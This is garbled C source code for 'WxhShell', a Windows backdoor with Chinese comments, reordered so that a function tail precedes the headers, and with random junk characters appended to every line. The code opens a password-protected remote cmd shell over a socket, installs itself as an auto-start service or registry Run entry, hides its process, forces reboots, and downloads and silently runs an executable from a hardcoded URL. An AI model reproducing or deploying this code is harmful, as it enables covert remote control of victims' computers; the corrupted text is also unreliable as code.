    if(Boot(SHUTDOWN)) q/PNJ#<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X(Qu{HhI  
    else { X(*!2uS  
    closesocket(wsh); Elb aFbr  
    ExitThread(0); V5p0h~PK  
    } nlGHT  
    break; ]*N1t>fb  
    } "& 25D  
  // 获取shell H'DVwnn>ik  
  case 's': { ,<` )>2 'o  
    CmdShell(wsh); )OP){/   
    closesocket(wsh); 4w93}t.z  
    ExitThread(0); Z[?mc|*x  
    break; e,0-)?5R  
  } 3n]79+w@z  
  // 退出 F #`=oM $5  
  case 'x': { fjG&`m#"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wTc)S6%7  
    CloseIt(wsh); j:,9%tg  
    break; !*{q^IO9v&  
    } =(o']ZaaA  
  // 离开 d`y!cu2}  
  case 'q': { 5,)vJ,fs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (xpn`NA  
    closesocket(wsh); :"1|AJo)  
    WSACleanup(); ]a'99^?\  
    exit(1); zjl!9M!  
    break; %,P >%'0  
        } *ZrSiIPP  
  } w@-M{?R  
  } j;0vAf  
EGVM)ur  
  // 提示信息 Cu;5RSr2Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vB\]u.  
} ]?+{aS-]?k  
  } L2UsqVU  
nz]&a1"&  
  return; U/ od~29  
} fmX!6Kv  
r6Aneg7  
// shell模块句柄 Vvp[P >  
int CmdShell(SOCKET sock) iUi>y.}"P  
{ |{>ER,<-  
STARTUPINFO si; (Z] HX@"{J  
ZeroMemory(&si,sizeof(si)); 6%G-Vs]*2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 80OtO#1y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <AH1i@4  
PROCESS_INFORMATION ProcessInfo; ^D%Za'  
char cmdline[]="cmd"; R%Y`=pK>}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }_9,w;M$  
  return 0; &ANP`=  
} 6w8" >~)Z  
ia@'%8  
// 自身启动模式 MRNNG6TUs  
int StartFromService(void) CNZz]H  
{ uo%P+om_}  
typedef struct /D&%v *~E  
{ "TyJP[/  
  DWORD ExitStatus; }@ Z56  
  DWORD PebBaseAddress; x!LQxoNF  
  DWORD AffinityMask; 8Me:Yp_Xt  
  DWORD BasePriority; \wcam`f  
  ULONG UniqueProcessId; H %JaZ?(  
  ULONG InheritedFromUniqueProcessId; }o4N<%/+  
}   PROCESS_BASIC_INFORMATION; EP'h@zdz  
R0ID2:i]F  
PROCNTQSIP NtQueryInformationProcess; ULrr=5&8  
J]l rS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lGwl1,=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `nM/l @  
(wIzat  
  HANDLE             hProcess; xsd_Uu*  
  PROCESS_BASIC_INFORMATION pbi; [FA{x?v kf  
^k5ll=}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |8> 3`w!  
  if(NULL == hInst ) return 0; 1tTg P+  
gb ^?l~SS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wO ?+Nh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {~!q`Dr3?q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L^2FQti>  
\PDd$syDA  
  if (!NtQueryInformationProcess) return 0; ) [0T16  
t@u7RL*n:<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *.L81er5~  
  if(!hProcess) return 0; d \x7Zw>  
w0w G-R ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ee4&g<X.  
H 0+dV3  
  CloseHandle(hProcess); _^Mx>hb4.  
mPI8_5V8]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 06$!R/K  
if(hProcess==NULL) return 0; IDnC<MO>  
}cT_qqw(f%  
HMODULE hMod; ono4U.C9  
char procName[255]; DXz} YIEC  
unsigned long cbNeeded; f$NMM >z  
Q+4Xs.#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q+g!V5'  
]-ZEWt6lsc  
  CloseHandle(hProcess); 3nZo{p:E  
$O9^SB  
if(strstr(procName,"services")) return 1; // 以服务启动 D8 hr?:I9  
=Umw$+fJr  
  return 0; // 注册表启动 ;&1V0U,fx  
} [9 Ss# ~  
h/~n\0,J/  
// 主模块 K|dso]b/  
int StartWxhshell(LPSTR lpCmdLine) C@th O  
{ ]\7]%(  
  SOCKET wsl; )M)7"PC  
BOOL val=TRUE; @|Rrf*J?%  
  int port=0; Me 5_4H&Sg  
  struct sockaddr_in door; H$I =W>;  
]T%rjsN  
  if(wscfg.ws_autoins) Install(); @}u9Rn*d;  
DGzw8|/(  
port=atoi(lpCmdLine); qUly\b 47  
Iu$K i  
if(port<=0) port=wscfg.ws_port; zbq@pj)Qu  
$@UN4B?y  
  WSADATA data; qWmQ-|Py  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; liXdNk8  
">#wOm+ +  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HD(.BW7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 33!oS&L  
  door.sin_family = AF_INET; _cXqAo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  trAkcYd  
  door.sin_port = htons(port); {GC?SaK  
dPhQ :sd>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g]*#%Xa  
closesocket(wsl); fFc/ d(  
return 1; k{'0[,mx#  
} !Y-98<|b M  
TYy.jFT-  
  if(listen(wsl,2) == INVALID_SOCKET) { XGl+S  
closesocket(wsl); u9N 1pZ~  
return 1; ]Ux<aiY]a  
} t+eVR8  
  Wxhshell(wsl); P>Ez'C  
  WSACleanup(); '_V2!?+RU+  
}mAa}{_  
return 0; p\<u6v ~J  
}K&7%N4LZ  
} VY3&  
m}X`> aD/  
// 以NT服务方式启动 nJo`B4'U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |9B.mBoX  
{ zzyHoZJP  
DWORD   status = 0; gXjV?"^kUl  
  DWORD   specificError = 0xfffffff; 6Udov pl  
uXKERzg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,gS;m &!'J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -YCOP0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CO`_^7o9(  
  serviceStatus.dwWin32ExitCode     = 0; % ClHCoyA  
  serviceStatus.dwServiceSpecificExitCode = 0; 6Aku1h  
  serviceStatus.dwCheckPoint       = 0; tQjLOv+?=  
  serviceStatus.dwWaitHint       = 0; @~%r5pz6  
kOed ]>H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "T|PS 6R~  
  if (hServiceStatusHandle==0) return; A -b [>} _  
*m#Za<_Gv  
status = GetLastError(); yr lf+tl  
  if (status!=NO_ERROR) Y 1t\iU  
{ Wr( y)D<y}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t{.8|d@  
    serviceStatus.dwCheckPoint       = 0; H XmS|PX  
    serviceStatus.dwWaitHint       = 0; FAj)OTI2S  
    serviceStatus.dwWin32ExitCode     = status; +1D+]*t_?[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3nhXZOO1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HBMhtfWW  
    return; \Rp-;.I@6  
  } *cgI.+  
9_ d pR.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [xGf,;Z  
  serviceStatus.dwCheckPoint       = 0; 7eiV{tYF  
  serviceStatus.dwWaitHint       = 0; %;rHrDP(>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s mnS DS  
} u4/kR  
lb3]$Da  
// 处理NT服务事件,比如:启动、停止 D`$hPYK|_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c|#8T*`C  
{ eY|  
switch(fdwControl) z[3L2U~6  
{ +w+} b^4  
case SERVICE_CONTROL_STOP: r_-_a(1R:  
  serviceStatus.dwWin32ExitCode = 0;  {PVWD7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4/wa+Y+=vt  
  serviceStatus.dwCheckPoint   = 0; ,d{"m)r<  
  serviceStatus.dwWaitHint     = 0; iy%ZQ[Un  
  { dfij|>:*0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8]U{;|';  
  } RE/~#k@a  
  return; 1fZ(l"  
case SERVICE_CONTROL_PAUSE: u)~C;f)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zc;|fHW~O  
  break; 9T*v9d  
case SERVICE_CONTROL_CONTINUE: '7i Sp=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; * /:x sI  
  break; orjj' +;X  
case SERVICE_CONTROL_INTERROGATE: H{=21\a\  
  break; Yj6*NZ*  
}; @*6 C=LL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Hn>oonph  
} #g]vc_V  
1*@'-mj  
// 标准应用程序主函数 {o.FlX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;,?KI$K  
{ lc~%=  
oyYR-4m\  
// 获取操作系统版本 .~l=zu  
OsIsNt=GetOsVer(); -@0GcUE:r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hMykf4  
LdL/399<  
  // 从命令行安装 $3s@}vLd  
  if(strpbrk(lpCmdLine,"iI")) Install(); IX>d`O61*g  
Bg|5KOnd  
  // 下载执行文件 3_MS.iM  
if(wscfg.ws_downexe) { TX&Jt%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V0P>YQq9s  
  WinExec(wscfg.ws_filenam,SW_HIDE); RT.D"WvT  
} ]Ccg`AR{  
JYW)uJ  
if(!OsIsNt) { %)0*&a 4  
// 如果时win9x,隐藏进程并且设置为注册表启动 O8j_0  
HideProc(); NbU[l  
StartWxhshell(lpCmdLine); TjwBv6h  
} F)'.g d  
else 7Z-O_h3;)@  
  if(StartFromService()) +h r@#n4A  
  // 以服务方式启动 *fn*h[pV&  
  StartServiceCtrlDispatcher(DispatchTable); L 8dc(Z%v  
else B#.L  
  // 普通方式启动 $D|e>U  
  StartWxhshell(lpCmdLine); A*}.EClH  
2gCX}4^3b  
return 0; K"4>DaK2P  
} ;3B1_vo9  
'gPzm|f|t@  
TwVlg ;  
_YLfL  
=========================================== @jsDq Ln  
#nK>Z[  
`O[};3O&  
"hzB9*"t  
CkdP#}f  
~1W x =  
" uFPF!Ern  
,z-}t& _t  
#include <stdio.h> /M3Y~l$  
#include <string.h> S/ODq L|  
#include <windows.h> /.o^R6  
#include <winsock2.h> Y[$!`);Ye  
#include <winsvc.h> ^wc"&;=c|  
#include <urlmon.h> Z`KC%!8K  
37|&?||  
#pragma comment (lib, "Ws2_32.lib") t 0|!(3  
#pragma comment (lib, "urlmon.lib") g'V>_u#(  
PSZL2iGj9V  
#define MAX_USER   100 // 最大客户端连接数 :]^P1sH[  
#define BUF_SOCK   200 // sock buffer fi$-;Gz  
#define KEY_BUFF   255 // 输入 buffer #>mr[   
Bhp-jq'!B  
#define REBOOT     0   // 重启 ] 0B2# d  
#define SHUTDOWN   1   // 关机 & '}/f5s|  
L&%s[  
#define DEF_PORT   5000 // 监听端口 Gr^E+#;  
b7wvaRe.  
#define REG_LEN     16   // 注册表键长度 h >s!K9  
#define SVC_LEN     80   // NT服务名长度 '4|-9M3f  
aM:nOt" S1  
// 从dll定义API zN:K%AiGxe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /|eA9 ]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <\pfIJr$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  s8rE$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m|:_]/*qE  
j&Wl0  
// wxhshell配置信息 k+8q{5>A<  
struct WSCFG { m/y2WlcRx  
  int ws_port;         // 监听端口 NwG= <U*  
  char ws_passstr[REG_LEN]; // 口令 ?)1{)Erf8x  
  int ws_autoins;       // 安装标记, 1=yes 0=no x*nSHb  
  char ws_regname[REG_LEN]; // 注册表键名 \8 h;K>=h  
  char ws_svcname[REG_LEN]; // 服务名 mM-8+H?~b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iCcB@GlA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cQ" ~\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o)2W`i&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ( m:Zk$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jr!?v<NoX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  OP x`u  
2U:H545]]  
}; 6N;wqn  
*?Kr*]dnLl  
// default Wxhshell configuration f1_<G  
struct WSCFG wscfg={DEF_PORT, E7Y`|nT  
    "xuhuanlingzhe", $[/&74#0HX  
    1, Qi LEL  
    "Wxhshell", eQD)$d_5  
    "Wxhshell", 'toa@5  
            "WxhShell Service", Qe} `~a9P  
    "Wrsky Windows CmdShell Service", )Ib<F 7v  
    "Please Input Your Password: ", <B6&I$Wc+  
  1, d)R:9M}v  
  "http://www.wrsky.com/wxhshell.exe", (s7;^)}zx  
  "Wxhshell.exe" lobGj8uxq  
    }; 7~GB;1n  
X '`~s}vGO  
// 消息定义模块 \7l-@6 '7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tp-l^?O-p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K_El&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ' )?f{  
char *msg_ws_ext="\n\rExit."; (jFGa2{  
char *msg_ws_end="\n\rQuit."; YH%'t= <m  
char *msg_ws_boot="\n\rReboot..."; D[mSmpjE6&  
char *msg_ws_poff="\n\rShutdown..."; OVko+X`  
char *msg_ws_down="\n\rSave to "; r]l!WRn  
#&m0WI1  
char *msg_ws_err="\n\rErr!"; CO2C{~Q5  
char *msg_ws_ok="\n\rOK!"; -"h;uDz|z  
L.2/*H#  
char ExeFile[MAX_PATH]; bBS,-vN  
int nUser = 0; fD07VBS yl  
HANDLE handles[MAX_USER]; 1!1 beR]  
int OsIsNt; nM-h&na{s  
L2pp6bW  
SERVICE_STATUS       serviceStatus; c=L2%XPP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6C]1Q.f;  
zSSB>D  
// 函数声明 `KK>~T_$J  
int Install(void); ^H2-RBE#  
int Uninstall(void); z[cyA.  
int DownloadFile(char *sURL, SOCKET wsh); f~d d3m('  
int Boot(int flag); @Q^P{  
void HideProc(void); >9q&PEc  
int GetOsVer(void); |iR T! ]  
int Wxhshell(SOCKET wsl); ;3kj2}  
void TalkWithClient(void *cs); E 2"q3_,,  
int CmdShell(SOCKET sock); fVt9X*xK S  
int StartFromService(void); t7m>A-I  
int StartWxhshell(LPSTR lpCmdLine); |pmZ.r  
LwK+:4$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (q4),y<:[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t@R ?Rgu3  
-GqT7`:(H4  
// 数据结构和表定义 ltgc:&=|@  
SERVICE_TABLE_ENTRY DispatchTable[] = *r=:y{!Yd  
{ Gu'rUo3Do  
{wscfg.ws_svcname, NTServiceMain}, Pj4/xX  
{NULL, NULL} *+\S yO  
}; SnFk>`  
Yb /i{@AJ  
// 自我安装 tX@_fYb  
int Install(void) F8uNL)gKj)  
{ kH4Ai3#g  
  char svExeFile[MAX_PATH]; E/09hD Q  
  HKEY key; ;[W"mlM  
  strcpy(svExeFile,ExeFile); EC\yz H*X  
 -Y H<  
// 如果是win9x系统,修改注册表设为自启动 /,X[k !  
if(!OsIsNt) { e89Xb;;w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=mkCU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @EDs~ lPv  
  RegCloseKey(key); * =wYuJ#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OzQ -7|m'J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tzn tO9P+  
  RegCloseKey(key); #Ap;_XcKw  
  return 0; :pF_GkG  
    } hBFP1u/E'  
  } <TE%Prd}`  
} 9{$<0,?  
else { Pf_S[ sm  
zt<WXw(  
// 如果是NT以上系统,安装为系统服务 Cxcr/9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l%`F&8K  
if (schSCManager!=0) XO9M_*Va  
{ S_T1y  
  SC_HANDLE schService = CreateService ]a! xUg!S  
  ( 1|?05<8  
  schSCManager, oX DN+4ge  
  wscfg.ws_svcname, )6w}<W*1E  
  wscfg.ws_svcdisp, fnNYX]_bk  
  SERVICE_ALL_ACCESS, T`9u!#mT=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VL/|tL>E^  
  SERVICE_AUTO_START, mCWhUBghR  
  SERVICE_ERROR_NORMAL, BA:yQ  
  svExeFile, 2PeR   
  NULL, E^rbcGJ  
  NULL, =Me5ft w  
  NULL, sj8~?O  
  NULL, Ht-t1q  
  NULL w~ ;I7:  
  ); eh,~F   
  if (schService!=0) H> '>3]G  
  { Hzhceeh_+  
  CloseServiceHandle(schService); e+]6OV&+  
  CloseServiceHandle(schSCManager); m "M("%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ncX/L[L  
  strcat(svExeFile,wscfg.ws_svcname); <d<mvXbw_@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { " beQZG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +R\vgE68  
  RegCloseKey(key); c(/VYMJZ&  
  return 0; g1UGd  
    } v|ck>_" .  
  } `xc^_781\  
  CloseServiceHandle(schSCManager); I"t(%2*q  
} Hi yc#-4  
} d7&eLLx  
}HG#s4  
return 1; ~-#yOu ,w  
} Yyfq  
O$g_@B0E1  
// 自我卸载 Rm5Kkzd0o  
int Uninstall(void) 2iU7 0(H  
{ "GQl~  
  HKEY key; N 6T{  
Pe_!?:vF  
if(!OsIsNt) { 5I,gBT|B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bC^(U`y32  
  RegDeleteValue(key,wscfg.ws_regname); :qvI%1cP=  
  RegCloseKey(key); yE\wj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e2+BWKaU  
  RegDeleteValue(key,wscfg.ws_regname); YxGcFjJ  
  RegCloseKey(key); om3`[r[{  
  return 0; ]=EM@  
  } Z/6qG0feJ  
} /?6gdN  
} !~ZP{IXyo  
else { m3 ^/: <  
PU {uE[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GI7=x h  
if (schSCManager!=0) %y<ejM  
{ H2r8,|XL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *<'M!iRC  
  if (schService!=0) T%F0B`  
  { 1mSaS4!"B  
  if(DeleteService(schService)!=0) { !$g+F(:(c  
  CloseServiceHandle(schService); 3S BZ>  
  CloseServiceHandle(schSCManager); Kv{8iAB#c  
  return 0; i1oKrRv  
  } _ OaRY]  
  CloseServiceHandle(schService);  UkfB^hA  
  } gr-x |wK  
  CloseServiceHandle(schSCManager); %>WbmpIyc  
} FZH\Q~IUV  
} J.R AmU<  
nW+YOX|+  
return 1; 3_`szl-  
} =3 +l  
-Z^4L  
// 从指定url下载文件 Q0{z).&\(e  
int DownloadFile(char *sURL, SOCKET wsh) tJ=di5&  
{ . -"E^f  
  HRESULT hr; (shK  
char seps[]= "/"; >?YNW   
char *token; "%@uO)A /  
char *file; plV7+?G  
char myURL[MAX_PATH]; \;]kYO}  
char myFILE[MAX_PATH]; 15zrrU~D  
y_}SK6{  
strcpy(myURL,sURL); o0p T6N)  
  token=strtok(myURL,seps); WA)Ij(M8 p  
  while(token!=NULL) z{BA4sn  
  { m_!U}!  
    file=token; NNa1EXZ[  
  token=strtok(NULL,seps); 2N~ E' 25  
  } p8,0lo  
ACjf\4Q  
GetCurrentDirectory(MAX_PATH,myFILE); y1BgK>R  
strcat(myFILE, "\\"); |*,jU;NI  
strcat(myFILE, file); Gqyue7;0,  
  send(wsh,myFILE,strlen(myFILE),0); qd!#t]  
send(wsh,"...",3,0); Sd:.KRTu.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mYNEz @  
  if(hr==S_OK) (Btv ClZ  
return 0; y~F<9;$=  
else >Jm"2U}lZW  
return 1; 4?/7 bc  
cCxi{a1uo  
} >]}yXg=QK+  
+#]|)V Z  
// 系统电源模块 EX?h0Uy  
int Boot(int flag) ~2/{3m{3A  
{ ~F#A Pt  
  HANDLE hToken; OCHm;  
  TOKEN_PRIVILEGES tkp; wH!#aB>kP  
bj"z8kP  
  if(OsIsNt) { m1.B\~S3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .yVnw^gu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2W3W/> 2 h  
    tkp.PrivilegeCount = 1; dALK0U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4VIg>EL*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7CrpUh  
if(flag==REBOOT) { +zRh fIJHH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %{STz  
  return 0; C=VIT*=  
} 00M`%c/  
else { p\U*;'hv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DMkhbo&+  
  return 0; ?En7_X{C?  
} 4YJ=q% G  
  } viuiqs5[Bi  
  else { !*P&Eat  
if(flag==REBOOT) { JCQ:+eqt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) " >6&+^BN'  
  return 0; lEfBe)7+  
} j 0 Y  
else { ^'B-sz{{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  #[ :w  
  return 0; 0yHjrxc$  
} cw+g z!!  
} O|UxFnB}  
n(jjvLf  
return 1; b~W)S/wF$P  
} oP]L5S&A  
9bEM#Hj  
// win9x进程隐藏模块 )C}KR`"  
void HideProc(void) y~p4">]  
{ Za!w#j%h  
E!@/NE\-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jm> U6  
  if ( hKernel != NULL ) OMd# ^z  
  { }Z-I2 =]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q5?L1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sJ7sjrEp 1  
    FreeLibrary(hKernel); Vr\Q`H.  
  } 9>{t}I d  
`r]TA]D R  
return; HZuiVW8  
} }3sN+4  
(+x]##Q  
// 获取操作系统版本 ^5>du~d  
int GetOsVer(void) 7(@(Hm  
{ hpjUkGm5  
  OSVERSIONINFO winfo; *N'hA5.z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'g]=.K+@}  
  GetVersionEx(&winfo);  6s5b$x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /B=l,:TnJ  
  return 1; _iq2([BpL  
  else IW]*i?L  
  return 0; 7g-$oO  
} m8u=u4z("  
!Z-9tYO  
// 客户端句柄模块 r!~(R+,c  
int Wxhshell(SOCKET wsl) Lxz  
{ ,{pGP#  
  SOCKET wsh; g#Mv&tU  
  struct sockaddr_in client; +h|K[=l\  
  DWORD myID; k}-]W@UCa?  
:Dt\:`(r'  
  while(nUser<MAX_USER) gjQ=8&i  
{ <g*.p@o  
  int nSize=sizeof(client); M`bL5J;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d>;2,srUf  
  if(wsh==INVALID_SOCKET) return 1; ;n` $+g:>  
;*.(.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K Ka c6Zj  
if(handles[nUser]==0) ||`qIElAW,  
  closesocket(wsh); q`cEA<~S  
else [h^f%  
  nUser++; {f&NStiB  
  } 9E^~#j@Zr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); % <^[j^j}o  
t18UDR{  
  return 0; ,7t3>9 -M"  
} D>ojW|@}  
A"0wvk)UcY  
// 关闭 socket Oq[i &  
void CloseIt(SOCKET wsh) ([[)Ub$U  
{ ^g70AqUc  
closesocket(wsh); C?{D"f`[]  
nUser--; =?wMESU  
ExitThread(0); 0GS{F8f~,  
} -J{Dxz  
Mp^^!AP9  
// 客户端请求句柄 [ k!-;mi   
void TalkWithClient(void *cs) 7Nd*,DV_  
{ N?\bBt@  
tF<^9stM  
  SOCKET wsh=(SOCKET)cs; \>4v?\8o  
  char pwd[SVC_LEN]; ZGA)r0] P`  
  char cmd[KEY_BUFF]; bd,Uz% o_  
char chr[1]; ]bs+:  
int i,j; ht2 f-EKf{  
Xg,0/P~  
  while (nUser < MAX_USER) { U?JiVxE^  
s Ke,  
if(wscfg.ws_passstr) { ? 7/W>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w'!ECm>*`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &$<(D0  
  //ZeroMemory(pwd,KEY_BUFF); *Kp}B}}J  
      i=0; KbXbT  
  while(i<SVC_LEN) { dFd lB `L  
$*YC7f  
  // 设置超时 u)tHOV>&  
  fd_set FdRead; N[0 xqQ  
  struct timeval TimeOut; a3Z :C!|O'  
  FD_ZERO(&FdRead); mYiSR   
  FD_SET(wsh,&FdRead); qUifw @  
  TimeOut.tv_sec=8; gTqeJWX9wP  
  TimeOut.tv_usec=0; 5ze`IY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I/mvQxp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !'Pk jP  
VV?]U$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y0@'za^y  
  pwd=chr[0]; "kcpA#uD|  
  if(chr[0]==0xd || chr[0]==0xa) { c:3@[nF~  
  pwd=0; 1P(%9  
  break; aUKh}) B  
  } jK\V|5k  
  i++; "}0)YRz%  
    } +R2^* *<  
a];BW)  
  // 如果是非法用户,关闭 socket p.@0=)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uo]Hi^r.l  
} S9 $o  
jN31\)/i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =''mpIg(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nu#aa#ex>  
<P+G7!KZ&  
while(1) { 0\? _ lT2  
Aqa6R+c  
  ZeroMemory(cmd,KEY_BUFF); 'q{PtYr  
}V\P,ck  
      // 自动支持客户端 telnet标准   di8W2cwz  
  j=0;  ]# Y|   
  while(j<KEY_BUFF) { 0 $n8b/%.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^^n +  
  cmd[j]=chr[0]; J!=](s5|  
  if(chr[0]==0xa || chr[0]==0xd) { !T<z'zZU  
  cmd[j]=0; 'dmp4VT3  
  break; N90\]dFmy  
  } v9Z lNA7m!  
  j++; v(qV\:s}m  
    } `V]egdO  
Q mb[ e>  
  // 下载文件 g2+l@$W  
  if(strstr(cmd,"http://")) { *Gg1h@&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KU1+<OCh  
  if(DownloadFile(cmd,wsh)) b}ySZlmy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cxtLy&C  
  else h g%@W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T)b3N| ONB  
  } =giM@MV  
  else { wm); aWP  
s,eld@  
